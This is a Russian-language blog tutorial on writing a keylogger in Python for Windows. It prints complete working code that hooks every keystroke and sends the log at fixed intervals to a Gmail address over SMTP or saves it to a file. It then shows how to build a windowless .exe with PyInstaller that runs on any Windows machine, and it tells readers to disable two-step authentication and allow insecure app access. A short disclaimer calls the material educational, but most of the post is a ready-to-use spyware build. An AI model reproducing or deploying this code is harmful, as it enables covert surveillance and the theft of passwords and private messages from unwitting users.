Share This
Связаться со мной
Крути в низ
Categories
//🕵 Пишем кейлоггер на Python для Windows за 5 минут

🕵 Пишем кейлоггер на Python для Windows за 5 минут

pishem kejlogger na python dlja windows za 5 minut 0024d40 - 🕵 Пишем кейлоггер на Python для Windows за 5 минут

Более 7 лет работы в IT-сфере. Системное администрирование, frontend разработка, написание скриптов на Python. Руководство по созданию кейлоггера на Python, который записывает нажатия клавиш с клавиатуры и отправляет их по электронной почте или сохраняет в файл журнала.

pishem kejlogger na python dlja windows za 5 minut 010a869 - 🕵 Пишем кейлоггер на Python для Windows за 5 минут

Этот материал публикуется исключительно в ознакомительных целях. Автор и редакция категорически против неэтичного использования программного кода, приведенного ниже для слежки, шпионажа, хищения данных и других возможных злоупотреблений. Автор и редакция не несут ответственность за негативные последствия использования этого материала.

Что такое кейлоггер и зачем он нужен

Кейлоггер – это программа, предназначенная для записи ввода с клавиатуры. Кейлоггинг можно использовать для изучения динамики нажатия клавиш (.pdf), взаимодействия человека с компьютером, сохранения и анализа информации при вводе. Скажем, когда вы много работаете с текстом, кейлоггер может помочь собрать информацию о скорости ввода, продуктивности за определенный период времени и прочее. С другой стороны, кейлоггеры часто используют хакеры для кражи паролей и другой конфиденциальной информации.

Подготовка: устанавливаем Python и библиотеки

Для начала нам потребуется установить Python. Если это уже сделано, можете смело пропустить этот абзац и переходить к установке библиотеки. В противном случае скачайте и установите подходящий релиз с официальной страницы языка. В данном руководстве мы будем использовать версию Python 3.9, но, по сути, подойдет любая версия.

Кроме этого, нам понадобится библиотека keyboard. Она позволяет контролировать и регистрировать ввод с клавиатуры.

Ставим библиотеку простой командой в терминале:

         pip3 install keyboard     

Пишем кейлоггер

Наш кейлоггер будет слушать и записывать в строковую переменную нажатия клавиш в фоновом режиме и отправлять содержимое через заданные интервалы в локальный файл или на email.

Импорт библиотек

Начнем с импорта необходимых библиотек:

         import keyboard  import smtplib #для отправки электронной почты по протоколу SMTP (gmail) #Таймер для запуска через заданный «интервал» времени. from threading import Timer from datetime import datetime     

Если вы хотите отправлять логи по электронной почте, следует настроить учетную запись Gmail и убедиться, что в учетной записи:

  • разрешен доступ для небезопасных приложений;
  • отключена двухэтапная аутентификация.

Рекомендуется создавать отдельный адрес электронной почты отличный от основного, так как код содержит ваш пароль в открытом виде, который используется для отправки сообщений.

Больше полезных материалов вы найдете на нашем телеграм-канале «Библиотека хакера» Интересно, перейти к каналу

Инициализируем параметры

         SEND_REPORT_EVERY = 60 #время в секундах EMAIL_ADDRESS = "notmygmail@gmail.com" EMAIL_PASSWORD = "notmypassword"     

Тут необходимо указать корректные учетные данные Gmail, иначе отчет по электронной почте не будет работать.

Создаем класс и методы

Лучший способ представить кейлоггер – создать для него класс, и каждый метод в этом классе выполняет определенную задачу:

         class Keylogger:     def __init__(self, interval, report_method="email"):         # передаем SEND_REPORT_EVERY в интервал         self.interval = interval         self.report_method = report_method         # это строковая переменная, которая содержит лог         self.log = ""         #запись начала и окончания даты и времени         self.start_dt = datetime.now()         self.end_dt = datetime.now()     

Мы установили в качестве метода отправки по умолчанию значение email, что указывает на то, что мы будем отправлять кейлоги на электронную почту. В качестве альтернативы мы сможем просто записывать их в файл.

Используем функцию клавиатуры on_release(), которая принимает обратный вызов.

         def callback(self, event):         name = event.name         if len(name) > 1:             #не символ, специальная клавиша (например, ctrl, alt и т. д.)             #верхний регистр             if name == "space":                 #" " вместо пробелов                 name = " "             elif name == "enter":                 #добавлять новую строку всякий раз, когда нажимается ENTER                 name = "[ENTER]n"             elif name == "decimal":                 name = "."             else:                 #замените пробелы символами подчеркивания                 name = name.replace(" ", "_")                 name = f"[{name.upper()}]"         #добавить имя ключа в глобальную переменную         self.log += name     

Пишем метод для записи в локальный файл

         def update_filename(self):         #создать имя файла, которое будет идентифицировано по дате начала и окончания записи         start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")         end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")         self.filename = f"keylog-{start_dt_str}_{end_dt_str}"      def report_to_file(self):         # создать файл         with open(f"{self.filename}.txt", "w") as f:             # записать лог             print(self.log, file=f)         print(f"[+] Saved {self.filename}.txt")      

Отправка на email

          def sendmail(self, email, password, message):         # управляет подключением к SMTP-серверу         server = smtplib.SMTP(host="smtp.gmail.com", port=587)         # подключиться к SMTP-серверу в режиме TLS         server.starttls()         # логин         server.login(email, password)         # отправить сообщение         server.sendmail(email, email, message)         # завершает сеанс         server.quit()     

Если при отправке лога на email, консоль выдает ошибку вроде UnicodeEncodeError: 'ascii' codec can't encode character, откройте библиотеку smtplib.py по адресу C:UsersuserAppDataLocalProgramsPythonPython39Lib, найдите строку msg = _fix_eols(msg).encode('ascii') и замените ее на msg = _fix_eols(msg).encode('utf8'). Ошибка связана с тем, что кодировка ASCII не может преобразовать в байты кириллицу.

Сообщаем лог через заданные промежутки времени

          def report(self):         if self.log:             self.end_dt = datetime.now()             # обновить `self.filename`             self.update_filename()             if self.report_method == "email":                 self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)             elif self.report_method == "file":                 self.report_to_file()             self.start_dt = datetime.now()         self.log = ""         timer = Timer(interval=self.interval, function=self.report)         timer.daemon = True         # старт         timer.start()     

Давайте определим метод on_release():

         def start(self):         #записать дату и время начала         self.start_dt = datetime.now()         #запустить кейлогер         keyboard.on_release(callback=self.callback)         self.report()         keyboard.wait()      

Мы закончили с классом Keylogger, теперь нужно создать экземпляр этого класса:

         if __name__ == "__main__":     # для отправки по email раскомментировать строку ниже и закомментировать строку с report_method="file"     # keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")     # для записи в локальный файл оставляем как есть     keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")     keylogger.start()     

Использование

Чтобы встроить наш скрипт в исполняемый файл, вы можете воспользоваться библиотекой с открытым исходным кодом Pyinstaller. Для этого ставим саму библиотеку:

         pip3 install pyinstaller     

И собираем все в файл:

         pyinstaller --onefile -w 'keylogger.py'     

На выходе получаем файл с расширением .exe, который можно использовать на любом компьютере под управлением Windows.

Повторяем, мы категорически против неэтичного использования этого кода и просим обязательно уведомить всех пользователей компьютера, где вы будете запускать данное ПО.

Материалы по теме

  • 🕵 Как взломать Wi-Fi с помощью Kali Linux 2020.4 и Ubuntu 20.04
  • ⛑️ Этичный взлом: учимся белому хакингу
  • 🧨 Bug Bounty: как заработать на взломе

  • 2 views
  • 0 Comment

Leave a Reply

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Этот сайт использует Akismet для борьбы со спамом. Узнайте, как обрабатываются ваши данные комментариев.

Свежие комментарии

    Рубрики

    About Author 01.

    blank
    Roman Spiridonov

    Моя специальность - Back-end Developer, Software Engineer Python. Мне 39 лет, я работаю в области информационных технологий более 5 лет. Опыт программирования на Python более 3 лет. На Django более 2 лет.

    Categories 05.

    © Speccy 2022 / All rights reserved

    Связаться со мной
    Close